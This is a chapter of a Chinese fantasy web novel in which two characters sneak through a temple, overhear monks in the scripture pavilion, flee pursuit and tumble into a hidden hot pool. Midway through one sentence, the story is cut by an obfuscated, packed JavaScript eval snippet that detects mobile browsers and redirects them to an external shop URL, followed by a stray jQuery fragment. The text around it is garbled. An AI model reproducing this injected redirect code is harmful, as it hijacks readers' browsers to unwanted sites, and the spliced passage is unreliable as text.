54. 乌折(5)

作品:《炉鼎的自我修养

    好久不见。


    话音刚落,游莲唇边的笑还没勾起,手被挣开,肩上一重,腰背重重推撞到桌上。撞了一回的地方又撞一次,怕是要青一团。


    他浑不顾忌,仰头任怀里人撒野。


    那一线光就这样错开,投注到云歇脸上,坠入他眼中。


    云歇吃了许久窝囊气,一见这张罪魁祸首的脸,霎时新仇旧恨涌上心头。一手压制,倾身向前。虎口卡着游莲侧颈连下颌那一块骨头,几乎将他后脑勺摁上桌面。


    漆黑的屋里,椅子桌脚连带着摇动,吱嘎吱嘎一阵响,几罐签跟着摇。


    肢体碰撞,衣裳摩挲。逼出闷哼喘息声。


    倏而一静。


    轻轻两声笑。


    “轻点,轻点。”游莲腹背受制,反手握住云歇指尖,力道很轻,声也轻轻,“人没走远。”


    要不是顾及巡逻人在附近,云歇能当场将他连同桌子劈成两半。


    好不容易挣出条通气的缝儿,游莲似恼非恼叹:“孩子大了不认人啊。”


    “谁是孩子?”


    “你说是谁?”


    真是疯了才和他争论这种毫无意义的东西。定是这两天慢慢吞吞的动作思绪影响了。


    而无论云歇做什么,游莲就仰着头,睁着双亮晶晶的眼睛注视她,好似做什么都可以。


    那点光就在他眼里摇来荡去地晃。


    忽而,人将头一偏,咳了几声。


    这一咳,云歇掌心感受到轻震,不由得松开些,松了又松。


    跳崖吃那么大风没见他有事,还有脸笑,云歇手只是虚掐着,这就咳上了。


    真是会挑时机点。


    咳完了,他就以着这副被欺负狠的模样,支着肘直起身。反倒将脖子更送进云歇掌心,皮下脉搏咕咚咕咚跳得湍急。


    云歇手掌一侧,并指按在那处颈脉上,静待两息,道:“死不了。”


    游莲一顿,继而笑弯眼,流光四溢,“谢谢你。”


    几句话下来,云歇闹没了脾气,觉得好没意思。目光一挪,定到自己手上。不再是短短圆圆趾甲只有米粒小的爪子。


    久违了。


    翻看手掌,试着张握,随心所欲,力量充盈澎湃。


    神清气爽。


    “是不是很不一样?”游莲眼珠跟着云歇动作转,神情有些恍惚,道,“我也觉得很不一样。明明刚才还那么小小一只,突然之间,就……”


    云歇拍开游莲伸来脸颊旁的手,“不要提小小一只。”


    “好好。听你的。”游莲略是无奈,转而卷她垂下肩头的长发,目光缱绻,满是赞叹,“真漂亮。”


    难以想象。谁也理不清那样蓬松的绒毛,怎么幻化人形就成了这样绸缎般美丽的长发。虽然那时也是手感极佳,然而现在——


    游莲指尖陷在里头拔不出来。刚刚黑暗中捞到的就是这一捧,流水似的滑落在指间。流连不已。


    云歇看完手,又看见缠在游莲手上的自己的发,一顿,一把擒住他的手腕,盯着道:“我的。”


    游莲顺势低头看时,云歇已经扯开手背的结,黑带子散开好几圈往下掉。


    游莲手往回缩,牵扯带子另一头,边说:“我的手好痛。”


    “活该。”


    果然,有嘴骂人的滋味,真的是太棒了!


    “看来你真的很生我的气。”


    游莲忍俊不禁,头颅顺势一低,靠上怀里人颈窝那块。他近来怀里很少空着,做惯了这个动作。


    云歇还追着那段黑带子不放,想拿回来。不妨脖间一痒,下意识往后退了些,背后悬空,另一手向后一撑,撑在游莲腿上。


    嗯?腿上?


    云歇后知后觉此时姿势的不对劲。


    近日来,她被抱上抱下习惯了,一时没发觉。


    习惯即是恶习。最最可怕的恶习。短短几天下来,她竟然已经习惯坐在他腿上了?


    耳边笑声已经没了,停在云歇颈窝处,同黑暗一道蛰伏着。呼吸轻轻扫过耳廓,温热,湿润。太轻太缓,带着某种克制意味,怕惊动什么。


    又是一阵桌椅乱撞。


    游莲反应过来时,怀里已经空了。那人形若鬼魅,抓不住,瞬间退去三步外,几与黑暗融为一体。中间就剩根黑带子牵着。


    云歇一扯,另一头传来阻力,当即斥道:“放开。”


    游莲说:“好啊,把我的手一起剁了就是。”


    “不要以为我不会。”


    “你会吗?”游莲手掌又往前绕了一圈,不松反紧,“那你跑什么?”


    不知为何,他有一种捉住她某些把柄,拿作要挟的姿态。如果云歇还是刚刚的兽形,这会儿背上的毛都要炸开了。


    手上又传来一下拉力,云歇站定不动,发带绷紧,绷出撕裂前夕的哀鸣声。


    少顷,僵持的另一方轻轻叹了一口气,道:“这里没有镜子,你怎么绑头发。过来些,让我帮你,好吗?”


    云歇:“怎么不是你过来?”


    “行,我过来。”游莲立刻站起过去了,动作迅速,似是就等着这句。


    而云歇在反问出口的时候已经后悔了,这不就默认让他绑了吗?懊恼皱眉时,笑嘻嘻的那张脸已经穿过光束,靠到眼前,殷勤道:“你想怎么绑?小的几……几十年的老手艺,包客官满意。”


    到这份儿上,也没什么争下去的必要了。


    云歇松开手,想着,若是他再敢磨叽磨蹭,就一拳打烂这张笑脸。笑得再好看也没用。


    他边解开带子边走近。气息味道自背后笼罩过来,头发被轻柔往下梳拢。


    没有梳子,是他的手指。几乎是触碰到的一瞬间,某种,极其陌生的感受,从云歇头皮窜到脊梁尾椎,近似于毛骨悚然。在她变成小兽,被随意抱来摸去也不曾有过。只有领域被侵犯的威胁感。


    云歇捏紧拳头。


    这人不正经时忒讨人嫌,正经时却也再正经不过。刚好掐在忍耐的极限,也就几个呼吸间,背上手指挪开,那道气息拂到耳后:“好了。时辰快到,趁巡逻的再巡过来之前,我们先离开这里。”


    屋外幽静,只有沉默的花木注视门开。


    祭水庙地形狭长,龙尾修到龙头,处处可见太极卦阵,镇压极凶物。


    巡逻武僧遍布天罗地网,全无死角。


    游莲落半步跟着云歇身侧,指明方向。二人在巡逻两队交换间隙,极快脱身。一路如此。


    经过数间寺堂,皆是神台空空,不见神佛塑身,不见经幡。空旷中只有近丈高的香鼎,三柱高香缓缓吐露云雾。


    云歇问出心里放了很久的疑问:“既不要香火,又修上山的路?”


    “总有一些不撞南墙不回头的。”游莲不假思索道,“若是一条生路不给,岂非让人枉送性命。”


    不多时,便到藏经阁。


    这栋建筑,山巅俯瞰便可窥一二分巍峨,走近了,更见其精巧。


    木塔高达数丈,斗拱衔檐,每级八面飞檐,各刻有姿态各异的飞龙,口含宝珠,下挂风铃,逐层递上,最高处塔刹如剑指。


    风一过,许许多多串风铃同时摇摆,铃舌撞击,撞成淋漓的一面高墙。


    藏经阁中灯火通明,脚步纷乱。


    “……那地方多大妖鬼煞,进去凶多吉少,你们、你们竟就自己回来了?”


    有人厉声喝问,无人敢答。


    少顷,另一道声音响起,十几岁的少年声,犹带颤抖。


    “城楼上有个凶鬼把守,靠近一步就拔剑,见人就杀。我们在外头守了多日,实在无法……”


    另一道声音随后响起,比前者沉稳许多:“都怪我,本以为是天师遇险,这才寻过去。哪曾想竟遇上虚空裂缝……但有另一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13100431|127821||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    事不明。住持,我们方才进城,消息为何会泄露得这么快?”


    最开始那道略显苍老的声音沉沉一叹:“他去时半点不遮掩,又是与商旅同行。想来失踪一事早已被有心人知晓,要借此大做文章。”


    “定是朝中那帮家伙干的,天天搞鬼!”


    “幸好,祭水庙从来谢绝香客祭拜。这几日劳烦住持加紧看守,任何人不得以任何名义进来探虚实。”


    苍老声音道:“为今之计,唯有如此。”


    略静片刻,许是氛围太过凝重,这声音又道:“你二人不必这副表情,他本领比你二人绰绰有余,你二人既无事,想来他也无事。”


    “多谢住持安慰。安不安危的倒也不是很担心,就怕心玩散了。你不是不知道他——”后头只剩一段挣扎的呜呜之声,像是被人捂住了嘴。


    “这厢谢过住持。我与师弟还要叨扰两日,做好准备再往不渡——”


    话音突止,一道掌风透窗而出,掀动檐角风铃,直袭云歇面门。同时屋中传出冷冷一喝:“谁!”


    掌风化为乌有。


    云歇拽着游莲踏落地,穿进浓密树影前往后一望,二楼大窗正映出三道急速奔近的身影。


    偷听被发现,奇耻大辱。


    本是不必的,奈何身边有个好说话的碍事家伙。


    云歇捂住他三次嘴,还是被发现了。


    早知先割掉舌头。


    远近巡逻队闻风而来。


    山庙树多,好藏身。弊端是,容易吵到树上睡觉的鸟儿,鸟儿一惊一乍一飞,踪迹不泄露都难。


    二人很快从树林中脱身,而后头许多道脚步声正冲开枝叶。


    面前一排屋舍,游莲随便推开扇门,扯着云歇躲进去。


    刚才那间屋子全是灰尘味,这一间扑面而来的则是水汽。是的,水汽。太浓太重,漫成白雾浮动四周,一呼吸,云歇感觉鼻子在河里淹了一回。


    墙上嵌了一些照明的珠子,似乎是夜明珠,笼着薄罩子,照得半明半晦。可以看见屋中被分为里外,格挡是几面梨黄纱帘,通顶垂到地面。帘子似乎也叫这里的水汽吸饱了,沉甸甸挂着,雾气又浓,看不出里间是什么情形。


    这里是什么地方?


    不容多看多想。


    外头林叶静止,脚步声越近,伴随呼喝,巡逻武僧有序分队呈包围状搜查。


    而这里有光,窗户又大,会透出影子。


    云歇被游莲拽住手腕往帘子那边走。


    擅闯是贼,既不想大动干戈,又不想被人发现,最好的法子自然是躲起来。


    云歇实在憋屈,走到一半想起来,她可以破开虚空直接遁到别处,何须躲躲藏藏?


    当即反拽住游莲手腕,想跟他说话。而在这时,游莲一手扶帘,回过头来,似乎也要跟云歇说些什么。


    雾气忽然更浓了,从掀开的帘子后带着热意蒸出来,拂面而过。


    目力影响了些微听觉。云歇看着游莲嘴唇微启,正要听听他说些什么。然而下一刻,游莲整个人凭空消失在了眼前。


    嗯?


    他消失得太快,快到云歇有一瞬不知所措,理不清发生了什么事情,那么大一只人影说不见就不见。


    慢半拍向下望,与此同时,手上一重,未松开的牵握因为前一个人猝不及防的下坠,将她一并扯了下去。


    扯下去哪里?


    失重,瞬间没顶。


    铺天盖地的窒溺感,蒙上口鼻。


    比空气沉重,比雾气真实,温热流动着,四面八方,到处都是。


    水。


    帘子后竟然是个水池子!


    向地里挖出的一个大池子,水面几欲与地面齐平,没有台阶过渡缓冲。以至于挥帘进来,一步踩空,连水花声响都没来得及激起,整个人就掉了进来。


    究竟是谁将她害得这样狼狈!